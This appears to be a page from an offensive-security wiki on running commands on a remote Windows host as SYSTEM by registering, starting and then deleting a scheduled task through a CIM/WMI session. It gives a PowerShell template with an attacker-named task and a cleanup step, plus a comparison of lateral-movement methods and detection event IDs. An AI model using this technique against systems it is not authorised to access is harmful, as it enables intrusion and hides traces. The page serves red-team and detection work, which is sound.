Remote Scheduled Tasks via WMI and PowerShell

Scheduled tasks can be created and triggered on a remote host through a CIM/WMI session — no schtasks.exe, no Task Scheduler RPC interface, just the same CIM session used by the rest of the WMI tooling family. This complements the schtasks /s path documented in exploit-windows-scheduled-tasks and the service-creation path in wmi-remote-service-execution with a third remote-execution primitive riding identical transport (DCOM/WSMan, MITRE T1047) and mechanism (T1053.005).¹

The pattern

All four cmdlets take -CimSession, so the entire lifecycle stays inside one authenticated session (built per wmi-powershell-sessions):

# 1. Define the action. -Execute takes the binary path and
#    -Argument the argument string separately — no quoting
#    gymnastics, but you must split the command yourself.
$TASK_OBJECT = New-ScheduledTaskAction `
                   -CimSession $SESSION_OBJECT `
                   -Execute "$SOME_BINARY_PATH" `
                   -Argument "$SOME_COMMAND_ARGUMENTS"
 
# 2. Register it, running as SYSTEM.
Register-ScheduledTask -CimSession $SESSION_OBJECT `
                       -Action $TASK_OBJECT `
                       -User "NT AUTHORITY\SYSTEM" `
                       -TaskName "$ATTACKER_TASK"
 
# 3. Fire it immediately (no trigger needed for one-shot use).
Start-ScheduledTask -CimSession $SESSION_OBJECT `
                    -TaskName "$ATTACKER_TASK"
 
# 4. Clean up after yourself.
Unregister-ScheduledTask -CimSession $SESSION_OBJECT `
                         -TaskName "$ATTACKER_TASK" -Confirm:$false

Why pick this over the alternatives

Primitive	Page	Runs as	Artifacts
Win32_Process.Create	invoke-cimmethod-remote-command	Calling user	One process-creation event; nothing to clean up
Win32_Service.Create	wmi-remote-service-execution	SYSTEM	Service registration (EID 4697/7045)
schtasks /s	exploit-windows-scheduled-tasks	Configurable	Task via Task Scheduler RPC (TSCH interface)
CIM scheduled task (this page)	—	SYSTEM via -User	Task via WMI/CIM; same EID 4698/106 telemetry, different transport than schtasks

The CIM path is attractive when the Task Scheduler RPC endpoints are filtered but DCOM/WinRM management traffic is not — or when the operator is already inside a CIM session and wants one fewer protocol on the wire.

Operational notes

• Requires local admin on the target, same as every other WMI exec primitive; UAC token filtering applies identically (see windows-remote-management).
• -User "NT AUTHORITY\SYSTEM" with no -Password works because task registration as SYSTEM is a privilege of the admin caller, not a credential handoff.
• Detection is the same telemetry story as the schtasks path — Security EID 4698 (task created), TaskScheduler/Operational EID 106/200/201 — plus the caller-side PowerShell script-block log (EID 4104) that CIM cmdlets always emit.

Sources

• New-ScheduledTaskAction
• Register-ScheduledTask
• Scheduled Task/Job: Scheduled Task
• Windows Management Instrumentation — MITRE ATT&CK T1047

Related: exploit-windows-scheduled-tasks, wmi-remote-service-execution, wmi-powershell-sessions, invoke-cimmethod-remote-command, windows-remote-management

Footnotes

1. Windows Management Instrumentation — MITRE ATT&CK T1047 ↩